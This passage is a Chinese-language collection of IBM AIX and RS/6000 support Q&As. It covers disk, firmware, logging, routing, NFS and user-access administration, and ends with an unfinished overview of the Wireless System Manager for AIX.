hdisk6<BR>将hdisk6加入卷组testvg。<BR><BR><BR>2. # chpv -hy hdisk6<BR>将hdisk6标记为hot spare磁盘。<BR><BR><BR>3. #chvg -hy -sy testvg<BR>将testvg标记为使用hot spare盘的卷组，并且当发生磁盘失效<BR>时自动进行磁盘的替换并同步。<BR><BR>　<BR><BR><BR>用feprom_update升级 Firmware<BR><BR>环境&nbsp;&nbsp;平台: RS/6000 <BR>问题&nbsp;&nbsp;用feprom_update升级 Firmware <BR>解答 在AIX 4.3，命令feprom_update会得到报错：<BR>1734-009 cannot write in FEPROM<BR><BR>一旦得到此提示，表示firmware坏了，系统将无法启动。<BR>此问题可能会在以604e为处理器的SMP系统上(也包括SP高结点)出现。在升级Firmware之前，应先检查APAR IX84560是否已装到系统中。<BR>请从下面网址得到此补丁包：<BR><A href="http://techsupport.services.ibm.com/rs6k/fixes.html" target=_blank>http://techsupport.services.ibm.com/rs6k/fixes.html</A><BR><BR><BR>CHRP Systems系统启动过程的LED E1DC 报错提示<BR><BR>环境&nbsp;&nbsp;平台: RS/6000<BR>版本: AIX 4.3 <BR>问题&nbsp;&nbsp;CHRP Systems系统启动过程的LED E1DC 报错提示 <BR>解答 用比硬盘上安装的AIX版本还低的AIX 安装盘或诊断光盘启动CHRP结构的RS/6000机器，往往会遇到E1DC LED报错提示.<BR><BR>确定一个机器是否为CHRP结构,可用如下命令:<BR>lslpp -L devices.chrp.base.rte<BR><BR>如果devices.chrp.base.rte文件包存在，则是CHRP结构；<BR>如果没有此文件存在，此问题不会发生.<BR>要防止此问题的办法是打补丁包：APAR IX79693.<BR>它包含在AIX 4.3.2和4.3.2 diagnostics CD中（P/N 08L1427 or 08L1430）。<BR>如果发生这个问题，唯一的方法是在系统下电后取下电池，10-15分钟后装回即可。<BR><BR><BR>普通用户执行su命令时产生错误：Authentication denied.<BR><BR>环境&nbsp;&nbsp;产品：AIX<BR>平台：RS<BR>软件版本：4.3 <BR>问题&nbsp;&nbsp;当普通用户执行su命令su到root或其它普通用户时，产生错误：Authentication denied。 <BR>解答 使用命令 ls -l /usr/bin/su检查su文件的权限，正确的权限应为：-r-sr-xr-x root security ...<BR>如果权限不正确，使用以下命令修改：<BR># cd /usr/bin<BR># chmod 4555 su<BR><BR><BR>如何让非root用户有权限执行sar命令<BR><BR>环境&nbsp;&nbsp;产品：AIX<BR>平台：RS<BR>软件版本：4.3 <BR>问题&nbsp;&nbsp;如何让非root用户有权限执行sar命令 <BR>解答 可通过smit --&gt; Security &amp; Users --&gt; Users --&gt; Change/Show Characteristics of a User 修改用户的属性，将“adm”组加入该用户的Primary GROUP中即可。<BR><BR><BR>使用errpt命令，产生0315-171错误<BR><BR>环境&nbsp;&nbsp;产品：AIX<BR>平台：RS<BR>软件版本：4.3 <BR>问题&nbsp;&nbsp;当使用命令errpt -a查看系统的错误报告时，产生错误：0315-171: 不能处理错误日志文件/var/adm/ras/errlog <BR>解答 该错误的产生是由于/var/adm/ras/errlog文件被破坏导致的，可以用如下步骤删除现有文件，使系统自动生成一个新的/var/adm/ras/errlog文件：<BR><BR>1. /usr/lib/errstop<BR>2. rm /var/adm/ras/errlog<BR>3. /usr/lib/errdemon<BR><BR><BR>如何记录ftp log?<BR><BR>环境&nbsp;&nbsp;RS6000 &amp; pSeries<BR>AIX 4.3 和 AIX 5L <BR>问题&nbsp;&nbsp;如何记录ftp log? <BR>解答 缺省情况下， 系统不会记录使用FTP连接和传输文件的日志（log). 这会对系统造成安全隐患，尤其在用户使用匿名ftp方式时。为了避免这种情况发生， 可用如下的步骤使系统记录FTP的日志：<BR>1.修改/etc/syslog.conf文件，并加入一行：<BR>daemon.info FileName<BR>其中FileName是日志文件的名字， 它会跟踪FTP的活动，包括匿名和其他用户ID. FileName文件必须在做下一步骤前创建。<BR><BR>2.运行"refresh -s syslogd"命令刷新syslogd 后台程序。<BR><BR>3.修改/etc/inetd.conf文件，修改下面的数据行：<BR>ftp stream tcp6 nowait root /usr/sbin/ftpd ftpd -l<BR><BR>4.运行“refresh -s inetd”命令刷新inetd后台程序。<BR><BR><BR>查找文件或命令对应的文件集<BR><BR>环境&nbsp;&nbsp;产品：AIX<BR>平台：RS<BR>软件版本：4.3 <BR>问题&nbsp;&nbsp;查找文件或命令对应的文件集 <BR>解答 1. 确认系统中已安装了文件集：bos.content_list<BR><BR>2. 查找文件或命令所对应的文件集，使用命令：<BR># /usr/sbin/which_fileset &lt;filename&gt;<BR>如：/usr/sbin/which_fileset iostat<BR><BR>3. 查看指定的文件集包含哪些文件，使用命令：<BR># lslpp -f &lt;fileset&gt;<BR>如：lslpp -f bos.acct<BR><BR><BR>AIX 5L 新特性（一）：如何确认CPU的主频？<BR><BR>环境&nbsp;&nbsp;硬件平台：rs6000 &amp; pSeries<BR>操作系统：AIX 5L <BR>问题&nbsp;&nbsp;AIX 5L 新特性（一）：如何确认CPU的主频？ <BR>解答 在AIX 5L中可以非常方便的确认CPU的主频，使用如下命令：<BR>lsattr -El proc0<BR>在命令输出的最后一行中"frequency"所指的值既为CPU的主频。 <BR>在AIX 4.3版本中无此功能。<BR><BR><BR>目前哪些RS/6000支持逻辑分区(LPAR)?<BR><BR>环境&nbsp;&nbsp;RS/6000 AIX 5L <BR>问题&nbsp;&nbsp;目前哪些RS/6000支持逻辑分区(LPAR)? <BR>解答 支持逻辑分区的RS/6000型号:<BR>P630(1,2,4-way CPU)<BR>P670(4,8,16-way CPU)<BR>P690(8,16,24,32-way CPU<BR><BR><BR>PTF 与APAR的区别？<BR><BR>环境&nbsp;&nbsp; 产品: pSeries, RS6000<BR>软件版本: AIX4.3 AIX 5L <BR>问题&nbsp;&nbsp;PTF 与APAR的区别？ <BR>解答 PTF是Program Temporary Fix的简称。 一个PTF是指一个升级的文件束（fileset)或着一个修正了以前操作系统问题的文件束。使用installp命令安装。<BR><BR>APAR是Authorized Program Analysis Report的简称。 一个APAR指的是一个特殊的或着紧急的fix、e-fix, 对操作系统而言是单一性的错误问题。APAR有可能经过测试和认证后成为PTT。 APAR使用instfix命令安装。<BR><BR><BR>如何在保留安装（Preservation installation）方式下自定义需要保留的文件？<BR><BR>环境&nbsp;&nbsp; 产品: pSeries,RS6000 <BR>问题&nbsp;&nbsp;如何在保留安装（Preservation installation）方式下自定义需要保留的文件？ <BR>解答 使用保留安装（Preservation installation）方式在安装了BOS时保留根（root)卷组的数据，但是/usr,/tmp 和/var及/(根）文件系统将被覆盖。因此在上面的文件系统下的数据将丢失。如果想保留这些文件系统，可以在/etc/preserve.list文件中加入想保留的文件系统。例如如果想保留/var下的文件，可以将/var目录加到/etc/preserve.list文件中。<BR><BR><BR>查看boot log<BR><BR>环境&nbsp;&nbsp; 产品：AIX<BR>平台：RS<BR>软件版本：4.3 <BR>问题&nbsp;&nbsp;如何查看系统上次启动的log? <BR>解答 # alog -o -t boot<BR><BR><BR>将man命令查看的内容转换成普通文本文件<BR><BR>环境&nbsp;&nbsp; 产品：AIX<BR>平台：RS<BR>软件版本：4.3 <BR>问题&nbsp;&nbsp;如何将man命令查看的内容转换成普通文本文件，供打印或进一步查看？ <BR>解答 可使用下面的命令将用man查看的ls命令的内容转换为文本文件man.txt:<BR># man ls | col -b &gt; man.txt<BR><BR><BR>inetd.conf 文件的恢复<BR><BR>环境&nbsp;&nbsp; 产品：AIX<BR>平台：RS<BR>软件版本：4.3 <BR>问题&nbsp;&nbsp;inetd.conf 文件的恢复 <BR>解答 有时由于某种原因， /ETC/INETD。CONF文件损坏。<BR>会对机器带来TCP/IP方面问题： 如 FTP<BR>可用以下步骤来恢复INETD。CONF 文件。<BR><BR># vi /etc/inetd.conf <BR># stopsrc -s inetd <BR>#mv /etc/inetd.conf /etc/inetd.conf.old<BR>#cd /usr/lpp/bos.net/inst_root/etc<BR>#cp inetd.conf /etc/inetd.conf<BR>#startsrc -s inetd <BR><BR><BR>如何立刻断掉一个已经login的用户？<BR><BR>环境&nbsp;&nbsp; 产品：AIX<BR>平台：RS<BR>软件版本：4.3 <BR>问题&nbsp;&nbsp;如果想要立刻断掉一个已经login的用户，如何做 <BR>解答 可使用命令 fuser -k &lt;用户的主目录&gt;<BR>如：fuser -k /home/guest<BR><BR><BR>使用errdemon客户化系统错误日志文件<BR><BR>环境&nbsp;&nbsp; 产品: pSeries, RS/6000<BR>软件版本: AIX 4.3, AIX 5L <BR>问题&nbsp;&nbsp;如何使用errdemon客户化系统错误日志文件？ <BR>解答 首先列出系统错误日志文件当前配置数据：<BR><BR>#/usr/lib/errdemon -l<BR><BR>Error Log Attributes<BR>--------------------------------------------<BR>Log File /var/adm/ras/errlog<BR>Log Size 1048576 bytes<BR>Memory Buffer Size 8192 bytes<BR><BR>如果希望改变系统错误日志文件的大小， 输入：<BR><BR>#/usr/lib/errdemon -s 2000000<BR><BR>如果希望改变系统错误日志文件buffer的大小， 输入：<BR><BR>#/usr/lib/errdemon -B 16384<BR><BR><BR>什么版本的Oracle数据库支持AIX 5.1<BR><BR>环境&nbsp;&nbsp; oracel, aix <BR>问题&nbsp;&nbsp;什么版本的Oracle数据库支持AIX 5.1 <BR>解答 　 AIX 4.3.3 AIX 5L <BR>8.1.7 32-bit&nbsp;&nbsp;Yes Yes <BR>　 now (Production) now (Production) <BR>　 　 　 <BR>8.1.7 64-bit Yes 　 <BR>　 now (Production) 　 <BR>　 　 　 <BR>9.0.1 64-bit Yes Yes <BR>　 now (Production) now (Developer's Release) <BR>　 　 　 <BR>9.2 64-bit&nbsp;&nbsp;Yes Yes <BR>　 now (Production) now (Production) <BR>　 　 　 <BR><BR>　<BR><BR><BR>如何监控裸设备I/O?<BR><BR>环境&nbsp;&nbsp; 产品：pSeries,RS/6000<BR>软件版本:AIX 4.3 AIX 5.1 <BR>问题&nbsp;&nbsp;如何监控裸设备I/O? <BR>解答 sar命令中的“-b”选项可以用于监控裸设备I/O。裸设备一般用于存放数据库数据。<BR><BR># sar -b 1 3<BR><BR>AIX 6f1 3 4 00023A0F4C00 06/19/02<BR><BR>18:16:30 bread/s&nbsp;&nbsp;lread/s&nbsp;&nbsp;%rcache&nbsp;&nbsp;bwrit/s&nbsp;&nbsp;lwrit/s&nbsp;&nbsp;%wcache&nbsp;&nbsp;pread/s&nbsp;&nbsp;pwrit/s <BR>18:16:31&nbsp;&nbsp;0 0 0 0 0 0 0 0 <BR>18:16:32&nbsp;&nbsp;0 0 0 0 0 0 0 0 <BR>18:16:33&nbsp;&nbsp;0 0 0 0 0 0 0 0 <BR>　 　 　 　 　 　 　 　 　 <BR>Average&nbsp;&nbsp;0 0 0 0 0 0 0 0 <BR><BR>其中bread/s 和bwrit/s显示了块裸设备（block raw device)I/O操作的数目。pread/s 和pwrit/s显示了字符裸设备(character raw device)I/O操作的数目<BR><BR>&nbsp;&nbsp;<BR><BR><BR>在AIX上安装RPM格式软件包<BR><BR>环境&nbsp;&nbsp;AIX 4.3.3/5L <BR>问题&nbsp;&nbsp;在AIX上安装RPM格式软件包 <BR>解答 1.从Linux Application Toolbox CD安装Redhat Package Manager - rpm.rte<BR><BR>2.安装RPM格式软件<BR>#rpm -ivh fileset_name<BR><BR>3.检查按装结果<BR>#rpm -q fileset_name<BR><BR>　<BR><BR><BR>gated 进程介绍和应用<BR><BR>内容<BR>提要&nbsp;&nbsp;我们知道在AIX操作系统中，gated 进程可以支持RIP, RIPng, EGP, BGP, OSPF等协议，甚至还支持SNMP协议。通常来讲，gated进程不能和routed进程同时使用，否则会导致不可预见的错误。 <BR>1.如何启动和停止gated<BR>2.gated进程的工作模式<BR>&nbsp;&nbsp;1) 配置 /etc/gated.conf 支持 RIP 协议<BR>&nbsp;&nbsp;2）配置 /etc/gated.conf 支持 OSPF 协议<BR><BR>正文 我们知道在AIX操作系统中，gated 进程可以支持RIP, RIPng, EGP, BGP, OSPF等协议，甚至还支持SNMP协议。通常来讲，gated进程不能和routed进程同时使用，否则会导致不可预见的错误。<BR><BR>1. 如何启动和停止gated<BR><BR>gated进程是AIX中系统资源控制系统（SRC）的一个子系统，因此，我们可以用以下命令来启动和停止gated：<BR>startsrc -s gated -- 启动<BR>stopsrc -s gated -- 停止<BR><BR>top <BR><BR>2. gated进程的工作模式<BR>当gated启动时，gated进程会自动查找 /etc/gated.conf 文件，根据 /etc/gated.conf 的配置启动相应的服务。因此，正确地配置 /etc/gated.conf 文件对于gated进程能否正常地启动和工作是至关重要的。<BR><BR>以下就本人的经验对如何配置 /etc/gated.conf 文件，从而启动最经常使用的 RIP 协议和 OSPF 协议，进行介绍：<BR><BR>top <BR><BR>1) 配置 /etc/gated.conf 支持 RIP 协议<BR><BR># 该 gated.conf 文件将RIP信息的更新通知系统的所有网络接口。同时，当gated进程没有启动或路由信息没有更新时，保留路由表中的静态路由信息。<BR><BR># /etc/gated.conf<BR><BR>traceoptions "/tmp/gated.trace" all ;<BR><BR>redirect yes ;<BR><BR>rip yes {<BR>interface all ripin ripout;<BR>};<BR><BR>static {<BR>default gw 172.16.1.1 retain ;<BR>};<BR><BR>top <BR><BR>2）配置 /etc/gated.conf 支持 OSPF 协议<BR><BR># 该 gated.conf 文件使 gated 进程在ent0端口使用OSPF 协议。并从9.185.40.1（路由器端口）接收更新的路由信息。如果要侦听多个路由器端口，就把这些端口的地址放入 eligible 项中。<BR><BR><BR><BR>################# gated configuration for CLIENT ############<BR><BR>traceoptions "/var/tmp/gated.log" all ;<BR>routerid 1<BR>rip no ;<BR>ripng no;<BR>hello no;<BR><BR>ospf yes {<BR>traceoptions state detail packets ;<BR>area 0.0.0.1 {<BR>interface ent0 nonbroadcast cost 1 { <BR>pollinterval 10 ; <BR>routers { <BR>9.185.40.1 eligible;<BR>} ;<BR><BR>retransmitinterval 5;<BR>hellointerval 10;<BR>priority 50;<BR>routerdeadinterval 40;<BR>};<BR>};<BR>};<BR>export proto ospfase { <BR>proto static; <BR>proto kernel; <BR>proto direct; <BR>} ;<BR><BR><BR>　<BR><BR>　<BR><BR><BR>如何拒绝某些用户的ftp访问?<BR><BR>环境&nbsp;&nbsp;产品: AIX <BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;出于安全考虑，需要拒绝某些用户的ftp访问? <BR>解答 请编辑<BR>/etc/ftpusers<BR>添加需要拒绝的用户，每用户一行 For example:<BR>#more /etc/ftpusers<BR>ql<BR>当尝试 ftp 登录时，系统报错：<BR>Name (localhost:root): ql<BR>530 User ql access denied.<BR>Login failed <BR><BR>如何查看某用户共启动了多少进程？<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;用户需要查看某个用户是否启动了过多的进程，影响了系统性能 <BR>解答 请用<BR>#ps -ef|grep username|wc -l<BR><BR>备注：<BR>这是利用wc -l统计行数的功能来对用户进程数的一个估计，并不是非常准确的值。<BR>但完全可用于参考。 <BR><BR>如何在清理/tmp文件系统时找到过大的文件?<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp; /tmp文件系统已满，如何找到哪些文件过大，并释放空间。 <BR>解答 请用<BR>For Example, 哪些文件大于5M字节.<BR>#cd /tmp<BR>#find . -size +10000 -exec ls -l {} \; <BR>备注：<BR>删除这些过大文件时，请确认其无用<BR><BR><BR>如何限制某用户在特定 pty 的访问。<BR><BR>环境&nbsp;&nbsp; 产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;用户想限制某些端口的访问。 <BR>解答 用户可以编辑/etc/security/user. For example:<BR><BR><BR>test:<BR>admin = false<BR>admgroups = system<BR>ttys = !/dev/pts/0,ALL <BR><BR><BR>结果是用户test可以在除了pts/0以外的所有端口登录，当test在pts/0登录时，<BR>系统报错You are not allowed to access the system via this terminal.<BR><BR><BR>IBM pSeries和 RS/6000 哪些型号可以安装SuSE linux？<BR><BR>环境&nbsp;&nbsp; 平台：RS <BR>问题&nbsp;&nbsp;IBM pSeries和 RS/6000 哪些型号可以安装SuSE linux？ <BR>解答 到2002年6月4日为止，RS6/6000 B50,150 和F50可以安装SuSE Linux for PowerPC Version 6.4 （支持32位内核）；目前pSeries 和 RS/6000 中除p680外均可安装SuSE Linux Enterprise Server (SLES) Version 7（支持64位内核）。<BR><BR>更多信息可查看：<BR><BR><A href="http://www.suse.com/" target=_blank>http://www.suse.com</A><BR><A href="http://www.suse.com/us/products/suse_business" target=_blank>http://www.suse.com/us/products/suse_business</A><BR>/sles/sles_iSeries_pSeries/index.html<BR><BR><BR>如何在图形登录和命令行登录方式间切换？<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;用户需要在 CDE 的两种登录方式中切换。 <BR>解答 请用<BR>#/usr/dt/bin/dtconfig -e 激活图形登录方式<BR>#/usr/dt/bin/dtconfig -d 激活命令行登录方式 <BR><BR>如何处理 mountd 和 nfsd 无法正常启动<BR><BR>环境&nbsp;&nbsp;S/390或zSeries;OS/390 <BR>问题&nbsp;&nbsp;网络文件系统（NFS）是UNIX的通用网络协议，允许文件或打印机通过网络实现共享。在AIX操作系统中，对 NFS 的管理有5个进程，分别是biod, nfsd, rpc.mountd, rpc.statd 和rpc.lockd. 本文将就如何处理nfsd和mountd无法正常启动的问题加以简单介绍，因为在实际工作中，经常会遇到这类情况。 <BR>1. mountd 和 nfsd 进程的介绍<BR>2. mountd 进程没有启动<BR>3. nfsd 进程没有启动<BR><BR>解答 1. mountd 和 nfsd 进程的介绍<BR><BR>mountd 进程是一个远程过程调用 (RPC) ，其作用是对客户端要求安装（mount）文件系统的申请作出响应。mountd进程通过查找 /etc/xtab文件来获知哪些文件系统可以被远程客户端使用。另外，通过mountd进程，用户可以知道目前有哪些文件系统已被远程文件系统装配，并得知远程客户端的列表。<BR><BR>nfsd 进程运行在服务器端，负责处理远程客户端对本机文件系统的操作。每一个nfsd进程同时只处理一个客户端的操作申请，因此在一台NFS服务器上可能会启动多个 nfsd进程。 <BR><BR>2. mountd 进程没有启动<BR><BR>如果mountd进程没有启动，我们需要检查以下内容： 1）99%的可能性是loopback的名字解析不正确所导致。换句话说，必须保证loopback所对应的 IP 地址是127.0.0.1；同时127.0.0.1所对应的名字是loopback，而不是localhost。我们可以用 "host 127.0.0.1"和 "host loopback"命令来检查。<BR><BR>以下输出结果是正确的：<BR><BR>#host 127.0.0.1<BR>loopback is 127.0.0.1, Aliases: localhost<BR>#host loopback<BR>loopback is 127.0.0.1, Aliases: localhost<BR><BR>以下输出结果是错误的：<BR><BR>#host 127.0.0.1<BR>loopback.cn.ibm.com is 127.0.0.1, Aliase: localhost.cn.ibm.com<BR>#host loopback<BR>loopback.cn.ibm.com is 127.0.0.1, Aliase: localhost.cn.ibm.com<BR><BR>如果 host 命令的输出结果是错误的，则需要检查 /etc/hosts 文件以及名字解析的顺序 -- 通常在 /etc/netsvc.conf 文件中加入 hosts=local,bind。<BR><BR>2）使用命令<BR>lslpp -l bos.adt.lib<BR>检查该文件集是否存在，否则需要安装。<BR><BR>3）安装最新的 bos.rte.tty, bos.rte.streams 和 bos.net.nfs.client 文件集。<BR>运行 rpcinfo -p =&gt;应当返回 portmap的注册进程列表。<BR>若进程列表没有返回，则需要启动或重新启动 portmap 进程。<BR>若进程列表返回，则运行 rpcinfo -u localhost mountd 命令，如果有错误，则运行 /usr/sbin/rpc.mountd，从返回的错误信息中获取可能的错误原因。<BR><BR>3. nfsd 进程没有启动<BR><BR>如果 nfsd 进程没有启动，我们需要检查以下内容：<BR><BR>1）首先要确认 NFS 输出列表存在，否则 nfsd 不会启动。可用 exportfs 命令来检查，如果 exportfs 命令没有结果返回或返回不正确，则需要检查 /etc/exports 文件。<BR><BR>2）运行 scls 命令，确保 timod 和 tirdwr 存在 --<BR><BR>#scls 　 　 　 　 　 　 　 <BR>bufcal fi&nbsp;&nbsp;ptc sc sna_v5ro&nbsp;&nbsp;tcp6&nbsp;&nbsp;tr&nbsp;&nbsp;udp6 <BR>echo ldterm pts sf&nbsp;&nbsp;snasxm timod ttyp unixdg <BR>en lft0 ptyp sixp spx tioc udp unixst <BR>et nuls sad slog&nbsp;&nbsp;tcp tirdwr 　 　 <BR><BR>否则需要检查 /etc/pse.conf 文件，并取消对它们的注释。<BR><BR>3） 检查名字解析，参见 “mountd 进程没有启动”的第一项。<BR><BR>4）确保以下输出数值不大于 "no -o sb_max"的数值 (尤其在SP系统中）。<BR><BR># no -a<BR>udp_sendspace<BR>udp_recvspace<BR>tcp_sendspace<BR>tcp_recvspace<BR><BR>#nfso -a<BR>nfs_soketsize<BR>nfs_tcp_socketsize<BR><BR>　<BR><BR><BR>在移植安装（Migration installation）中都有那些文件和数据保留下来？<BR><BR>环境&nbsp;&nbsp; 产品 pSeries,RS6000 <BR>问题&nbsp;&nbsp;在移植安装（Migration installation）中都有那些文件和数据保留下来？ <BR>解答 操作系统使用移植安装（Migration installation）的方式升级AIX版本，例如： AIX 3.2, AIX 4.1, AIX 4.2, 或者 AIX 4.3 到 AIX 5L 5.1 。 除了/tmp目录将被覆盖外，此方式将保留所有文件系统，包括根（root)卷组的数据, 逻辑卷数据和系统配置文件。移值安装（Migration installation）的方式在AIX 3.2,AIX 4.1和 AIX 4.2 的机器上是缺省的安装方式。<BR><BR><BR>如何阻止某些用户远程登录，telnet,rlogin?<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;出于安全考虑，需要使某些用户只能在控制台登录使用，而不允许远程使用 <BR>解答 请编辑<BR>/etc/security/user<BR>更改需要限制的用户属性 rlogin = false<BR>当尝试远程登录时，系统报错：Remote logins are not allowed for this account <BR><BR>如果想将linux应用移植到pSeries和RS/6000上，哪里有参考资源？<BR><BR>环境&nbsp;&nbsp;平台: pSeries, RS/6000 <BR>问题&nbsp;&nbsp;如果想将linux应用移植到pSeries和RS/6000上，哪里有参考资源？ <BR>解答 用户如果想将linux应用移植到pSeries和RS/6000上，在Aix 4.3和Aix 5.1上都可以用AIX Toolbox for Linux Applications来重新编译应用。<BR>书号为SG24-6033-00的红皮书对此有很好的阐述。<BR>具体网址如下： <A href="http://www.redbooks.ibm.com/abstracts/sg246033.html" target=_blank>http://www.redbooks.ibm.com/abstracts/sg246033.html</A><BR><BR>　<BR><BR>　<BR><BR><BR>如何下载RS/6000相关的补丁(Fix,PTF),维护包及微码(Microcode)<BR><BR>环境&nbsp;&nbsp;产品: pSeries, RS/6000<BR>平台: Aix <BR>问题&nbsp;&nbsp;如何下载RS/6000相关的补丁(Fix,PTF),维护包及微码(Microcode) <BR>解答 要下载RS/6000相关的补丁(Fix,PTF),维护包及微码(Microcode)，可以先访问如下网址：<BR><BR><BR><A href="http://www-900.ibm.com/cn/support/r6download.shtml" target=_blank>http://www-900.ibm.com/cn/support/r6download.shtml</A><BR><BR><BR>先参考页面中的下载使用指南，然后点击相应的连接进行下载。<BR><BR>　<BR><BR><BR>Aix 4.3上支持超过2GB的文件吗？<BR><BR>环境&nbsp;&nbsp;平台: pSeries, RS/6000<BR>版本: Aix 4.3 <BR>问题&nbsp;&nbsp;Aix 4.3上支持超过2GB的文件吗？ <BR>解答 Aix 4.3上最大能支持64GB的文件尺寸，这需要在创建文件系统时(运行crfs）选中支持大文件(large file enabled)选项. <BR>如果这一选项没有被选中，Aix 4.3支持的最大文件尺寸是2GB.<BR><BR>　<BR><BR>　<BR><BR><BR>AIX无线系统管理器<BR><BR>内容<BR>提要&nbsp;&nbsp;本篇文章阐述了所有可能解决系统空间不足的方法，您并不需要按照所列的步骤全部执行，选取其中最有效的一种或几种方法即可。 <BR>说明 在今天的7X24小时不断运行的商业环境中，工作和生活的界限已变得越来越模糊。普及计算使得人们可以随时进行商务活动，与同事沟通，并接收有关信息----不论是在办公室还是在别的地方。<BR>WSMA通过使用无线设备把移动服务器管理带进了一个新天地。使用标准的WAP手机，系统管理员可以通过使用AIX用户认证登录到AIX系统中，监视系统并执行一些关键业务的管理功能。用“推”技术实施的按条件进行的服务器报警功能把IT人员从控制台上解放出来。它也可以把短消息发送到管理员的手机上来通知他预先定义的条件已经被触发。&nbsp;&nbsp;<BR>说明 背景<BR>自从1994年Sprint 推出了个人通信系统（PCS）---电话服务以来，美国无线工业在北美的企业和消费市场上几乎无所不在。尽管在西欧和亚太地区有些滞后，无线数据通信的营业收入还是预计比无线话音通信的营业收入增长快。<BR><BR>移动Internet是需要基于标准的无线协议和数据表示的无线互联的网络。据Dataquest的预计，最通用的无线协议是WAP，到2002年，基于WAP的手机销量会达到2.5亿台。事实上，Gartner Group预计，到2004年，95%的新手机都会是能使用WAP的。<BR><BR>对WAP的支持并不限于无线手机。目前在市场上有许多可用的WAP浏览器，最著名的是那些基于Palm OS的PDA。也有的是基于LINUX 的无线嵌入式设备，作为通用的标准WAP浏览器在某些地方流行。随着对3G高速载运服务的承诺，将会把速度提高到每秒传递一百万比特信息，可以想象在将来，移动用户可以用手机连接到所有需要连接的移动设备上！在无线网络上将会有开放的基于标准的安全措施来保证完成可信的、保密的端到端的电子商务。<BR><BR>高速的可靠的移动网络使得移动用户或IT人员能够使用一个无线的构架来管理其应用和系统。AIX无线系统管理器(Wireless System Manager for AIX [WSMA])就是一个无线的系统服务，它允许对系统资源进行安全的和保密的管理(如 CPU, 磁盘, 设备和应用)。<BR><BR><BR>AIX无线系统管理器---WSMA<BR>在今天的7X24小时不断运行的商业环境中，工作和生活的界限已变得越来越模糊。普及计算使得人们可以随时进行商务活动，与同事沟通，并接收有关信息----不论是在办公室还是在别的地方。<BR>WSMA通过使用无线设备把移动服务器管理带进了一个新天地。使用标准的WAP手机，系统管理员可以通过使用AIX用户认证登录到AIX系统中，监视系统并执行一些关键业务的管理功能。用“推”技术实施的按条件进行的服务器报警功能把IT人员从控制台上解放出来。它也可以把短消息发送到管理员的手机上来通知他预先定义的条件已经被触发。 <BR><BR><BR>与其他类型系统管理的关系<BR>传统的企业管理软件（如Tivoli的TME）是从一个控制台上管理企业中的资源。监视、报告并执行对所管理资源的一些动作是由操作员在一个中央地点进行的。在企业管理系统中，服务器、网络和客户端（包括无线设备）都是被收集、分类和查看的管理工具。如果一个网络问题出现并报警，操作员是要出现场来排错并解决问题的。<BR><BR>WSMA只是帮助一次管理一个服务器。它假设无线网络或设备本身如果出错，仍要用现有的网络和企业管理工具来处理。<BR><BR><BR>认证、保密、授权<BR>WSMA与IBM Everyplace Wireless Gateway在网络上提供了如下的安全功能： <BR><BR><BR>鉴别 ? 用户如何被识别和认证<BR><BR>保密 ? 通过Wireless Transport Layer Security(WTLS) 和 Secure Socket Layer (SSL)协议加密数据<BR><BR>授权 - 根据用户权限允许其相应的动作<BR><BR>这个安全的桥梁用在WTLS和SSL通道之间解密和加密数据的方式在基于WAP的客户端和HTTP服务器端之间提供了很大的灵活性。但是这也显出了一个潜在的敏感数据暴露问题：发送到数据网关本身的数据有安全隐患！因为数据的加解密是在数据网关上进行的。在进行总体网络安全规划和配置时把无线网关置于受保护的地点是一个很重要的考虑事项。<BR><BR><BR>WSMA 组件<BR>WSMA通过使用安全的WAP设备提供对服务器和应用的管理。它使用了一个标准的软件组件集合和无线设备：<BR><BR><BR>一个WAP浏览器, 它必须被载入到一个手机或PDA中<BR><BR>在网络上的一个无线网关<BR><BR>WSMA 设备, 它作为一个标准的HTTP 服务器插件运行在被管理的服务器上<BR><BR>连接层的安全是通过利用PPP协议的Remote Access Service (RAS)来访问企业的intranet。请参考如下的示意图来理解不同的协议、安全组件、WAP手机间的关系、网关和在无线网络中的被管理的服务器。<BR><BR><BR><BR>无线网关<BR>无线网关是一个用于在 WAP 客户端和WSMA间通讯的必需的组件。 它监听从客户端来的数据和消息并翻译 Wireless Session Protocol (WSP) 请求到 HTTP请求，然后再转发到HTTP 服务器。应答报头被从HTTP转换为WSP 应答报头, 内容从WML 和/或 WMLScript 转换成二进制 XML (wbxml)，再转发到WAP客户端。 IBM Everyplace Wireless Gateway (EWG) 是一个强壮的、可扩展的 WAP 网关，它可以在企业的网络中配置。<BR><BR><BR>由 WSMA管理的资源<BR>分成以下三类：<BR><BR><BR>查看 - 列出通用的系统信息如 Vital Product Data, 错误日志；<BR><BR>调查 - 通过查看各种系统资源条件确定问题所在；<BR><BR>修正 - 通过启/停系统资源和应用来管理系统和应用。<BR><BR>因为WAP手机的有限的屏幕尺寸，用户接口必须简明，集中。有了这样的意识，对于不同的类别和由WSMA执行的行动请参考下表：<BR><BR>系统信息 VPD/错误: 显示或清除系统错误日志<BR>RAM/CPU/磁盘: CPU使用率，列出磁盘的总空间和空闲空间，列出总的和空闲的页交换空间 <BR>问题确定 Ping 主机: 用主机名或IP地址ping主机<BR>进程管理: 通过所有者，所有CPU或当前CPU管理进程<BR>设备管理: 列出在线或离线的设备 <BR>管理任务 对用户发wall命令： 发送标准的或客户化的信息给所有登录中的用户；<BR>文件/文件系统/页交换空间：清除或扩展文件系统，mount/unmount 文件系统，查看页交换空间；<BR>进程/子系统：列出或杀死进程，列出/查询/启动/停止/刷新/跟踪子系统；启动/停止/刷新/跟踪子服务器<BR>应用/打印：启动/停止应用；启动/停止/取消打印作业；<BR>重启/停机：重启/停止系统。 <BR><BR>　<BR><BR><BR><BR><BR>管理员通过预定义的通知或查看任何异常条件就知道需要做特定的行动，并通过预见某一场景（如计划停机等）来修正系统。<BR>WSMA 的目的并不是替换系统管理控制台，而是在发生错误时帮助处理关键的系统和应用。如果需要，完全的错误诊断和改正可以以后在服务器上执行。<BR><BR><BR>WSMA系统工作过程<BR>以下场景描述了用WSMA的顺序的行动：<BR>1. 管理员配置何种条件需要通知，并输入通知目的地的手机号码或短信息地址<BR>2. 